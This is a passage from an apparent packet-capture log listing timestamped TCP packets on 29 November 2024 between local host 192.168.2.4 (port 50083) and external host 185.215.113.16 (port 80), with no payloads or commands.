Nov 29, 2024 20:07:55.553798914 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.553821087 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.557727098 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.557768106 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.557836056 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.557876110 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.560331106 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.560373068 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.560420036 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.563008070 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.563067913 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.563079119 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.563102007 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.565665007 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.565681934 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.565711975 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.565742016 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.568243027 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.568278074 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.568347931 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.568387032 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.571227074 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.571271896 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.571281910 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.571329117 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.573525906 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.573625088 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.573631048 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.573664904 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.576263905 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.576353073 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.576487064 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.576525927 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.578850985 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.578896999 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.578970909 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.579082966 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.581540108 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.581665993 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.581728935 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.584455967 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.584502935 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.584589958 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.584635973 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.586960077 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.587002039 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.587044001 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.587084055 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.589385033 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.589430094 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.589482069 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.589518070 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.592056036 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.592150927 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.592180967 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.592221975 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.594732046 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.594775915 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.594852924 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.594926119 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.597358942 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.597440004 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.597484112 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.600039959 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.600084066 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.600136995 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.600330114 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.602659941 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.602700949 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.602746964 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.602782011 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.605340004 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.605391026 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.605469942 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.605547905 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.607922077 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.607964993 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.608047009 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.608091116 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.610532045 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.610574961 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.610641003 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.610676050 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.613153934 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.613194942 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.613270998 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.613312006 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.615878105 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.615952015 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.690253973 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.690303087 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.690433025 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.690489054 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.691543102 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.691670895 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.691713095 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.694245100 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.694313049 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.694320917 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.694370031 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.696891069 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.696950912 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.696962118 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.696990967 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.699502945 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.699558020 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.699565887 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.699605942 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.725208998 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.725259066 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.725275993 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.725317955 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.726300955 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.726342916 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.726644993 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.726686001 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.726789951 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.726830006 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.728874922 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.728930950 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.729027987 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.729152918 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.731035948 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.731077909 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.731142998 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.731188059 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.733143091 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.733197927 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.733216047 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.733261108 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.735307932 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.735358000 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.735424042 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.735557079 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.736656904 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.736715078 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.736851931 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.736891031 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.738082886 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.738130093 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.738195896 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.738284111 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.739435911 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.739497900 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.739526987 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.739578009 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.740814924 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.740869045 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.740881920 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.740919113 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.742194891 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.742239952 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.742321968 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.742364883 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.743532896 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.743632078 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.743649960 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.743685961 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.744908094 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.744966030 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.745109081 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.745161057 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.746283054 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.746329069 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.746381044 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.746469021 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.747561932 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.747622967 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.747663021 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.747708082 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.748943090 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.748997927 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.749022961 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.749061108 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.750360966 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.750473976 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.750479937 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.750521898 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.751666069 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.751725912 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.751811028 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.751880884 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.753005028 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.753055096 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.753072023 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.753113031 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.754407883 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.754458904 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.754473925 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.754513025 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.755703926 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.755749941 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.755816936 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.755883932 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.757039070 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.757087946 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.757354021 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.757399082 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.758377075 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.758430958 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.758519888 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.758553982 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.759737015 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.759777069 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.759855032 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.759892941 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.761256933 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.761301994 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.761418104 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.761459112 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.762466908 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.762512922 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.762599945 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.762646914 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.763853073 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.763895988 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.763972044 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.764015913 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.765212059 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.765254021 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.765311956 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.765353918 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.766505957 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.766558886 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.766585112 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.766602039 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.767852068 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.767996073 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.768043041 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.769258022 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.769444942 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.769445896 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.769481897 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.770560026 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.770602942 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.770664930 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.770708084 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.771930933 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.771979094 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.772032022 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.772072077 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.773389101 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.773452044 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.773500919 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.774657965 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.774703979 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.774847984 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.774920940 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.775979996 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.776021957 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.776084900 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.776127100 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.777348995 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.777477026 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.777484894 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.777532101 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.778685093 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.778737068 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.778760910 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.778808117 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.780045986 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.780086040 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.780144930 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.780184984 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.781408072 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.781449080 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.781601906 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.781646013 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.782779932 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.782821894 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.782880068 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.782922029 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.784068108 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.784112930 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.784182072 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.784219980 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.785515070 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.785567999 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.785581112 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.785609961 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.786827087 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.786870003 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.786890030 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.786935091 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.788157940 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.788259983 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.788310051 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.789494991 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.789546967 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.789598942 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.789642096 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.790908098 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.791014910 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.791069984 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.792228937 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.792340040 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.792421103 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.900598049 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.900645971 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.900672913 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.900738955 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.901206017 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.901246071 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.901300907 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.901350975 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.902554035 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.902592897 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.902637959 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.902686119 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.903839111 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.904365063 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.935709000 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.935758114 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.935988903 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.936028004 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.936398029 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.936446905 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.936449051 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.936491966 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.937655926 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.937693119 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.937903881 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.937943935 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.939047098 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.939163923 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.939173937 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.939202070 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.940341949 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.940388918 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.940443993 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.940527916 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.941808939 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.941854954 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.941906929 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.941948891 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.943363905 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.943407059 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.943743944 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.943787098 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.945019960 CET	80	50083	185.215.113.16	192.168.2.4
